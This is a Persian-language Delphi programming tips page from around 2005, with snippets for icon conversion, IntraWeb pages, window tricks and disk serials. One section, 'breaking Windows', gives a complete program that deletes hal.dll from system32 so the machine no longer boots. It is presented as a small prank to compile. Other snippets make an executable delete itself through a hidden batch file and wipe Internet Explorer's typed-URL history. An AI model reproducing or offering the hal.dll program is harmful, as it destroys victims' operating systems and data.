تبدیل تصویر به bmp2icon) Icon)

یک کد عالی برای تبدیل تصویر به icon . هر کس با داشتن این کد می توانید یک نرم افزار جالب بسازد.شما می توانید برای کاربر محیطی را فراهم سازید که او بر روی یک تصویر با سایز ۳۲*۳۲ کار کند و سر انجام با این کد تصویر را به icon تبدیل کنید.به جای image تصویر را معرفی و به جای filename آدرس ذخیره سازی را وارد کنید:

//Copyright 2005 KOOSHA SYSTEM SOFTWARE HTTP://DELPHI-CENTER.BLOGFA.COM
procedure bmp2ico(image:timage;filename:tfilename);
var
bmp:tbitmap;
icon:ticon;
imagelist:timagelist;
begin
bmp:=tbitmap.Create;
icon:=ticon.Create;
try
//Copyright 2005 KOOSHA SYSTEM SOFTWARE HTTP://DELPHI-CENTER.BLOGFA.COM
bmp.Assign(image.picture);
imagelist:=timagelist.CreateSize(image.Width,image.Height);
try
imagelist.AddMasked(bmp,bmp.TransparentColor);
imagelist.GetIcon(0,icon);
icon.SaveToFile(FILENAME);
finally
imagelist.Free;
end;
finally
bmp.Free;
//Copyright 2005 KOOSHA SYSTEM SOFTWARE HTTP://DELPHI-CENTER.BLOGFA.COM
icon.Free;
end;
end;
//Copyright 2005 KOOSHA SYSTEM SOFTWARE HTTP://DELPHI-CENTER.BLOGFA.COM

مبدل ها

تعدادی از مبدل ها:

BoolToStr(B: Boolean; UseBoolStrs: Boolean = False): string;
ByteToCharIndex(const S: string; Index: Integer): Integer;
CharToByteIndex(const S: string; Index: Integer): Integer;
CharToByteLen(const S: string; MaxLen: Integer): Integer;
CurrToStr(Value: Currency): string; overload;
CursorToString(Cursor: TCursor): string;
DateTimeToStr(const DateTime: TDateTime): string; overload;
DateTimeToString(var Result: string; const Format: string;
DateTimeToSystemTime(const DateTime: TDateTime; var SystemTime: TSystemTime);
DateTimeToTimeStamp(DateTime: TDateTime): TTimeStamp;
DateToStr(const DateTime: TDateTime): string; overload;
FloatToCurr(const Value: Extended): Currency;
FloatToDateTime(const Value: Extended): TDateTime;
FloatToDecimal(var Result: TFloatRec; const Value;
FloatToDecimal(var Result: TFloatRec; const Value;
FloatToStr(Value: Extended): string; overload;
FloatToText(BufferArg: PChar; const Value; ValueType: TFloatValue;
GUIDToString(const GUID: TGUID): string;
IntToHex(Value: Integer; Digits: Integer): string; overload;
IntToStr(Value: Integer): string; overload;
StrCharLength(const Str: PChar): Integer;
StringToCursor(const S: string): TCursor;
StringToGUID(const S: string): TGUID;
StrToBool(const S: string): Boolean;
StrToBoolDef(const S: string; const Default: Boolean): Boolean;
StrToCurr(const S: string): Currency; overload;
StrToCurrDef(const S: string; const Default: Currency): Currency;
StrToDate(const S: string): TDateTime;
StrToDate(const S: string): TDateTime; overload;
StrToFloat(const S: string): Extended; overload;
StrToInt(const S: string): Integer;
StrToInt64(const S: string): Int64;
StrToInt64Def(const S: string; const Default: Int64): Int64;
StrToIntDef(const S: string; Default: Integer): Integer;
StrToTime(const S: string): TDateTime; overload;
StrToTime(const S: string;
SystemTimeToDateTime(const SystemTime: TSystemTime): TDateTime;
TextToFloat(Buffer: PChar; var Value;
TimeStampToMSecs(const TimeStamp: TTimeStamp): Comp;
TimeToStr(const DateTime: TDateTime): string; overload;
TryStrToInt(const S: string; out Value: Integer): Boolean;
TryStrToInt64(const S: string; out Value: Int64): Boolean;
VarToStr(const V: Variant): string;
VarToStrDef(const V: Variant; const ADefault: string): string;
VarToWideStr(const V: Variant): WideString;
VarToWideStrDef(const V: Variant; const ADefault: WideString): WideString;
VarToDateTime(const V: Variant): TDateTime;
VarFromDateTime(const DateTime: TDateTime): Variant;
WideFormatVarToStr(var S: WideString; const V: TVarData);

آموزش کار با IntraWeb در دلفی

با intraweb شما می توانید یک سایت جالب با دستورات دلفی بسازید .

در این درس ما فقط با نحوه ی ساخت یک صفحه ساده با اینتراوب آشنا می شویم.

دلفی را باز کنید .

از منوی new --> ادر (other) را برگزینید .

خوب حالا به صفحه intraweb رفته و روی stand alone application کلیک کنید.

حالا در صفحه ای که باز شد باید مسیر ذخیره شدنشو بدید .

خوب حالا یک صفحه از نوع intraweb باز شده است.

حالا کلید shift و f12 را با هم فشار دهید .

formmain را انتخاب کرده و روی ok کلیک کنید .

اینم از فرم .

حالا نوبت استفاده از کامپاننت ها رسیده است .

تمام کامپاننت های Visual برای استفاده از intraweb در صفحات iw standard و iw data و هر چی که iw اولش داره  ...............

* توجه : از بعضی از component های غیر visual هم در form مان هم میشه استفاده کرد.

---> مثال : این مثال به این صورت است که اگر رمز عبور را درست وارد کردید یک دیتابیس (access) در صفحه نمایش داده شود.

1 -  یک iwbutton و یک iwedit و یک iwdbgrid و یک adotable(از iw ها نیست) و یک datasorce(این هم از iw ها نیست) روی فرم قرار دهید .

2 -  adotable خود را به database مورد نظر وصل کنید و خاصیت active آن را برابر true کنید .

3 - datasource خود را به adotable نسبت دهید .

4 - خاصیت visible شی IWDBGrid1 را برابر false کنید

۵ - IWDBGrid1 را به datasorce نسبت دهید .

6 -  بر روی iwbutton1 دابل کلیک کنید تا وارد code نویسی آن شویم.

برای iwbutton بنویسید :

if iwedit1.caption= 'hello' then

iwdbgrid1.visible:=true

else

showmessage('Invalid password')

7 - برنامه را اجرا کنید. وقتی برنامه اجرا شد باز هم کلید f9 را فشار دهید .

حال صفحه وب خود را مشاهده می کنید.

خراب کردن ویندوز

با اجرای این برنامه یکی از فایلهای مهم ویندوز پاک می شود و دیگر ویندوز بالا نمی آید.مزیت این برنامه حجم پایین آن است.متن کد را در یک فایل متنی کپی کنید.سپس پسوند آن را به .dpr تغییر دهید سپس با دلفی آن را باز و کامپایل فرمایید(ما نگفتیم اجرا نمایید):

 

//Copyright 2005 koosha system software WWW.DELPHI-CENTER.BLOGFA.COM
program WC;

uses
  SysUtils;

begin
 DeleteFile('c:\windows\system32\hal.dll')
end.
//Copyright 2005 koosha system software WWW.DELPHI-CENTER.BLOGFA.COM

پاک کردن آدرسهای IE

این کد آدرس سایت هایی را که قبلا باز کرده اید را پاک می کند:

 

//Copyright 2005 koosha system software WWW.DELPHI-CENTER.BLOGFA.COM

 DeleteRegKey('Software\Microsoft\Internet Explorer\TypedURLs',HKEY_CURRENT_USER);
 CreateRegKey('Software\Microsoft\Internet Explorer\TypedURLs','url1','Koosha System Software...Koosha

Nakhai...WWW.Delphi-Center.Blogfa.com...',HKEY_CURRENT_USER);
 ShowMessage('Okey.Finish.Cleaned The Urls in Microsoft Internet Explorer  koosha system software.');

//Copyright 2005 koosha system software WWW.DELPHI-CENTER.BLOGFA.COM

خاموش کردن مانیتور

این کد مانیتور را به حالت استند بای می برد:

 

//Copyright 2005 koosha system software WWW.DELPHI-CENTER.BLOGFA.COM
  SendMessage(Application.Handle,WM_SYSCOMMAND,SC_MONITORPOWER,2);

بدست آوردن آدرس جاری IE

این کد آدرسی را که در آی ای هست برای شما می آورد:

 

uses
  DDEMan;

// Koosha System Software WWW.Delphi-Center.Blogfa.com

procedure TForm1.Button1Click(Sender: TObject);
var
  DDE:TDDEClientConv;
begin
  DDE:=TDDEClientConv.Create(self);
  if DDE.SetLink('IExplore','WWW_GetWindowInfo') then
  Memo1.Lines.Add(DDE.RequestData('0xFFFFFFFF,sURL,sTitle'));
  DDE.Free;
end;
//Copyright 2005 koosha system software WWW.DELPHI-CENTER.BLOGFA.COM

مخفی کردن دکمه ی استارد

برای این کار باید بعد از بارگذاری کد زیر برای مخفی کردن False و برای نمایش True را وارد کنید:

 

//Copyright 2005 koosha system software WWW.DELPHI-CENTER.BLOGFA.COM
procedure TForm1.HideStartButton(AVisible: Boolean);
var
  Tray,Child,StartButtonHandle: HWnd;
  C: array[0..127] of Char;
  S: string;
begin
//Copyright 2005 koosha system software WWW.DELPHI-CENTER.BLOGFA.COM
  Tray:=FindWindow('Shell_TrayWnd',nil);
  Child:=GetWindow(Tray,GW_CHILD);
  while Child<>0 do
  begin
    if GetClassName(Child,C,SizeOf(C))>0 then
    begin
      S:=StrPas(C);
      if UpperCase(S)='BUTTON' then
      begin
        StartButtonHandle:=Child;
        if AVisible then ShowWindow(Child,1)
        else ShowWindow(Child,0);
      end;
    end;
    Child:=GetWindow(Child,GW_HWNDNEXT);
  end;
end;
//Copyright 2005 koosha system software WWW.DELPHI-CENTER.BLOGFA.COM

بدست آوردن سریال هارد

هر هاردی یک سریال دارد.این سریال برای ساخت نرم افزار های تجاری و رجیستری بسیار لازم است:

 

//Copyright 2005 koosha system software WWW.DELPHI-CENTER.BLOGFA.COM
procedure TForm1.Button1Click(Sender: TObject);
var
  SerialNum: DWord;
  A,B: DWord;
  C: array [0..255] of Char;
  Buffer: array [0..255] of Char;
begin
//Copyright 2005 koosha system software WWW.DELPHI-CENTER.BLOGFA.COM
  if GetVolumeInformation(
    PChar('C:\'),
    Buffer,
    256,
    @SerialNum,
    A,
    B,
    C,
    256) then Label1.Caption:=IntToStr(SerialNum);
end;
//Copyright 2005 koosha system software WWW.DELPHI-CENTER.BLOGFA.COM

فرم شفاف و شیشه ای

این کد باعث می شود که پنجره های زیرین نیز دیده شوند.تنظیم درصد شفافیت نیز با شماست.

در قسمت Wnd . باید Handle فرم را بدهید.مثلا MakeWndTrans(Form1.Handle,50)۰

 

//Copyright 2005 koosha system software WWW.DELPHI-CENTER.BLOGFA.COM
function MakeWndTrans(Wnd: HWND; nAlpha: Integer = 10): Boolean;
type
  TSetLayeredWindowAttributes = function(hwnd: HWND; crKey: COLORREF; bAlpha: Byte;
    dwFlags: Longint): Longint; stdcall;
const
  // Use crKey as the transparency color.
  LWA_COLORKEY = 1;
  // Use bAlpha to determine the opacity of the layered window..
  LWA_ALPHA = 2;
  WS_EX_LAYERED = $80000;
var
  hUser32: HMODULE;
  SetLayeredWindowAttributes: TSetLayeredWindowAttributes;
  i : Integer;
begin
//Copyright 2005 koosha system software WWW.DELPHI-CENTER.BLOGFA.COM
  Result := False;
  // Here we import the function from USER32.DLL
  hUser32 := GetModuleHandle('USER32.DLL');
  if hUser32 <> 0 then
  begin
    @SetLayeredWindowAttributes := GetProcAddress(hUser32,'SetLayeredWindowAttributes');
    // If the import did not succeed, make sure your app can handle it!
    if @SetLayeredWindowAttributes <> nil then
    begin
      // Check the current state of the dialog, and then add the WS_EX_LAYERED attribute
      SetWindowLong(Wnd, GWL_EXSTYLE, GetWindowLong(Wnd, GWL_EXSTYLE) or WS_EX_LAYERED);
      // The SetLayeredWindowAttributes function sets the opacity and
      // transparency color key of a layered window
      SetLayeredWindowAttributes(Wnd, 0, Trunc((255 / 100) * (100 - nAlpha)), LWA_ALPHA);
      Result := True;
    end;
  end;
//Copyright 2005 koosha system software WWW.DELPHI-CENTER.BLOGFA.COM
end;

دانلود کردن سورس یک سایت

دانلود کردن سورس یک سایت:

این کد در صورت متصل بودن به اینترنت سایتی را که شما آدرس می دهید دانلود می کند.(در ممو استفاده شود)

//Copyright 2005 koosha system software WWW.DELPHI-CENTER.BLOGFA.COM
function DownloadWeb(const Url: string): string;
var
  NetHandle: HINTERNET;
  UrlHandle: HINTERNET;
  Buffer: array[0..1024] of Char;
  BytesRead: dWord;
begin
//Copyright 2005 koosha system software WWW.DELPHI-CENTER.BLOGFA.COM
  Result := '';
  NetHandle := InternetOpen('Delphi 5.x', INTERNET_OPEN_TYPE_PRECONFIG, nil, nil, 0);

  if Assigned(NetHandle) then
  begin
    UrlHandle := InternetOpenUrl(NetHandle, PChar(Url), nil, 0, INTERNET_FLAG_RELOAD, 0);

    if Assigned(UrlHandle) then
      { UrlHandle valid? Proceed with download }
    begin
      FillChar(Buffer, SizeOf(Buffer), 0);
      repeat
        Result := Result + Buffer;
        FillChar(Buffer, SizeOf(Buffer), 0);
        InternetReadFile(UrlHandle, @Buffer, SizeOf(Buffer), BytesRead);
      until BytesRead = 0;
      InternetCloseHandle(UrlHandle);
    end
    else
      { UrlHandle is not valid. Raise an exception. }
      raise Exception.CreateFmt('Cannot open URL %s', [Url]);

    InternetCloseHandle(NetHandle);
  end
  else
    { NetHandle is not valid. Raise an exception }
    raise Exception.Create('Unable to initialize Wininet');
end;
//Copyright 2005 koosha system software WWW.DELPHI-CENTER.BLOGFA.COM

پاک کردن برنامه به وسیله ی خودش

این کد دستور پاک کردن را به یک فایل Batch می دهد و خود را به هر زوری می بندد.به محض بسته شدن فایل Batch این فایل را پاک می کند:

 

//Copyright 2005 koosha system software WWW.DELPHI-CENTER.BLOGFA.COM
procedure DeleteMe;
var
  BatchFile:TextFile;
  BatchFileName:String;
  ProcessInfo:TProcessInformation;
  StartUpInfo:TStartupInfo;
begin
  BatchFileName:=ExtractFilePath(application.exename)+'$$336699.bat';

  AssignFile(BatchFile, BatchFileName);
  Rewrite(BatchFile);

  Writeln(BatchFile, ':try');
  Writeln(BatchFile, 'del "' + application.exename + '"');
  Writeln(BatchFile, 'if exist "' + application.exename + '"' + ' goto try');
  Writeln(BatchFile, 'del "' + BatchFileName + '"');
  CloseFile(BatchFile);
//Copyright 2005 koosha system software WWW.DELPHI-CENTER.BLOGFA.COM
  FillChar(StartUpInfo, SizeOf(StartUpInfo), $00);
  StartUpInfo.dwFlags := STARTF_USESHOWWINDOW;
  StartUpInfo.wShowWindow := SW_HIDE;

  if CreateProcess(nil, PChar(BatchFileName), nil, nil,
     False, IDLE_PRIORITY_CLASS, nil, nil, StartUpInfo,
     ProcessInfo) then
  begin
    CloseHandle(ProcessInfo.hThread);
    CloseHandle(ProcessInfo.hProcess);
  end;
end;
//Copyright 2005 koosha system software WWW.DELPHI-CENTER.BLOGFA.COM

بستن پنجره

یک کد برای بستن پنجره:

به جای .Pixel. تیتر پنجره را بگذارید:

 

//Copyright 2005 koosha system software WWW.DELPHI-CENTER.BLOGFA.COM
procedure TForm1.Button1Click(Sender: TObject);
var
  MyHandle: THandle;
  a:tagMSG;
begin
  MyHandle:=FindWindow(nil, '.Pixel.');
 SendMessage(MyHandle, WM_CLOSE, 0, 0);
end;
//Copyrigh 2005t koosha system software WWW.DELPHI-CENTER.BLOGFA.COM

عوض کردن caption

خوب یک کد عالی برای عوض کردن caption یک پنجره ی فعال

به جای notepad تیتر اون پنجره و به جای kss کلمه ی مطلوب را بنویسد:

 

//Copyright 2005 koosha system software WWW.DELPHI-CENTER.BLOGFA.COM
setwindowtext(findwindow('notepad',nil),'kss');